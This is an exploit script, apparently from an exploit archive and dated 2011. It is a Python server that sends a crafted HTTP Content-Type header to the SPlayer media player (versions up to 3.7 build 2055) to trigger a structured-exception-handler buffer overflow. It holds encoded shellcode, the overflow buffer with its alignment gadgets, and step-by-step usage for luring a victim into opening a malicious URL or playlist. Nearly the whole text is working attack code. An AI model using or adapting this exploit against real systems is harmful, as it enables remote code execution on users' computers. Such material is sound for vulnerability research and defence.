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# Title : SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit
# Published : 2011-05-04
# Author : xsploitedsec
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#!/usr/bin/python# Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit# Date: May 04, 2011# Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com># Software Link: http://www.splayer.org/index.en.html# Versions: <= 3.7 (build 2055)# Tested On: WinXP SP3 Eng / SPlayer 3.7 build 2055 (English Locale)# CVE: N/A# Software Descripton:# "SPlayer is a simple and free high performance all-in-one audio and video player that was designed# in order to help you easily view your videos, images and listen to your music files. SPlayer lets# you enjoy your favorite music and movies"# Vulnerability information:# SPlayer is vulnerable to a remote buffer overflow when parsing a specially crafted HTTP header from# a remote server. The bug is triggered due to the "Content-Type:" field being passed to the wcstol() # function, prior to any bounds checking. This could allow an attacker to trick a remote user into # opening a specially crafted playlist file, containing a URL pointing to a malicious web server.# Usage:# Method 1:# 1. Execute this script ...# 2. Launch SPlayer, right click and click open->URL (ctrl+u) ...# 3. Input the server URL and Click OK ...# 4. Boom!/calc ...# Method 2:# 1. Execute this script ...# 2. Launch SPlayer and click Open (ctrl+o) ...# 3. Browse to any playlist file (m3u, pls) It must contain the server URL! ...# 4. Click Open ...# 5. [wait til URL is loaded], Boom!/calc ...# URL Examples:# http://serverip/anyfilename.avi# http://serverip:port/anyfilename.avi# http://serverip/*# Shouts:# edb-team, corelanc0d3r/corelan-team, kaotix, sheep, deca, nemesisimport sysimport socketbindaddr = "0.0.0.0"bindport = 1234banner = "Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1"# calc shellcode / alpha_uppercalcshell = (			      # Plenty of room for lots of shellcode here"PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAP""AZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB3Y9R8Z9L8Y2RJT1N0V0Y0I0I0I0I0""I0I0I0I0I0I0C0C0C0C0C0C070Q0Z1Z110X0P001100112K11110Q02110B020B0B000B0B110B0X0P0""8110B2U0J0I0I2L0M080N1Y0E0P0G2P0C000Q2P0K090K0U0E1Q0H0R0B0D0L0K0B2R0P000L0K0F020""F2L0L0K0C1R0G1T0N2K0Q1R0D1X0D0O0L2W0C2Z0E2V0E1Q0I2O0F0Q0K2P0L2L0E2L0Q2Q0C0L0E0R0""D2L0G0P0O010J2O0D0M0G2Q0K2W0I2R0H2P0P0R0C1W0N2K0B2R0B000L0K0P0B0G0L0G2Q0H0P0N2K0""C2P0Q1X0K050K2P0P2T0Q0Z0E0Q0H0P0B2P0N2K0C2X0F2X0L0K0B2X0E2P0E0Q0N030I2S0G0L0P0I0""N2K0G0D0N2K0F1Q0I0F0P010I2O0E1Q0O000L2L0J1Q0H0O0F2M0C010O070G0H0K0P0B0U0L040E0S0""C0M0K0H0E2K0Q2M0Q040P2U0K0R0P0X0N2K0F080G0T0C010I0C0E060N2K0F2L0B2K0N2K0B2X0G2L0""C010K1S0N2K0G2T0L0K0C010H0P0L0I0Q0T0D1T0E2T0C2K0C2K0P1Q0B2Y0P0Z0P0Q0I2O0K0P0C1X0""C2O0C1Z0N2K0F2R0H2K0L0F0C2M0B0J0E0Q0N2M0N1U0O0I0G2P0C000E0P0B2P0Q2X0P010N2K0P2O0""O2W0K0O0J2U0M2K0J0P0N0U0I020F060E080N0F0L0U0O0M0M0M0K0O0I0E0E2L0F1V0Q2L0F1Z0M0P0""K0K0M000Q1U0G2U0O0K0P0G0D0S0Q1R0P2O0P1Z0C000Q0C0K0O0J2U0E030C0Q0P2L0E030D2N0B0E0""D080Q2U0C000E0Z1111KPA")class Client():	def about(self):		about = "/r=======================================================================/n"		about +=  " PoC Title: Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow/n"		about +=  " Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>/r/n"		about +=  "======================================================================="		print about	def run (self):		pre = "HTTP/1.1 200 OK/r/n"		pre += "Date: Tue, 03 May 2011 04:18:38 GMT/r/n"		pre += "Server: " + banner + "/r/n"		pre += "Last-Modified: Sun, 03 Jul 2005 18:39:44 GMT/r/n"		pre += "ETag: ""1f3814d-e6800-3fb032cba1c00""/r/n"		pre += "Accept-Ranges: bytes/r/n"		pre += "Content-Length: 99999/r/n"		pre += "Connection: close/r/n"		pre += "Content-Type: "		#Begin evil buffer		evil = "/x41" * 2073		evil += "/x61/x73"		#popad/nop align		evil += "/x25/x73"		#SE handler - ppr/splayer.exe [0x00730025]		#Close the blinds		evil += "/x73"			#nop/align		evil += "/x55"			#push ebp		evil += "/x73"			#nop/align		evil += "/x58"			#pop eax		evil += "/x73"			#nop/align		#Align to EAX/execute shellcode		evil += "/x05/x19/x11"		#add eax, 0x11001900		evil += "/x73"			#nop/align		evil += "/x2d/x11/x11"		#sub eax, 0x11001100		evil += "/x73"			#nop/align		evil += "/x50"			#push eax		evil += "/x73"			#nop/align		evil += "/xc3"			#ret		evil += "/x46" * 1004		#align shellcode->EAX		#End evil buffer		padding = "/x44" * (30000 - len(pre + evil + calcshell)) + "/r/n"		payload = pre + evil + calcshell + padding		try:			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)			s.bind((bindaddr, bindport))			s.listen(5)			print "[+] Listening for incoming connections on port: %d" % bindport + " ..."		except:			print "[!] Error binding socket, is the port already in use?/r/n[-] Exiting"			sys.exit()		# Note: SPlayer seems to connect/send a GET request twice every time a URL is processed		# and it crashes after the second request		while 1: 			(clientsock, address) = s.accept()			print "[*] New connection from", address[0]			clientsock.recv(1024)			sent = clientsock.send(payload)			print "[+] Payload sent successfully [size: %d bytes]" % sent			sent = 0			print "[-] Closing connection to", address[0]			clientsock.close()if __name__ == "__main__":	Client().about()	Client().run()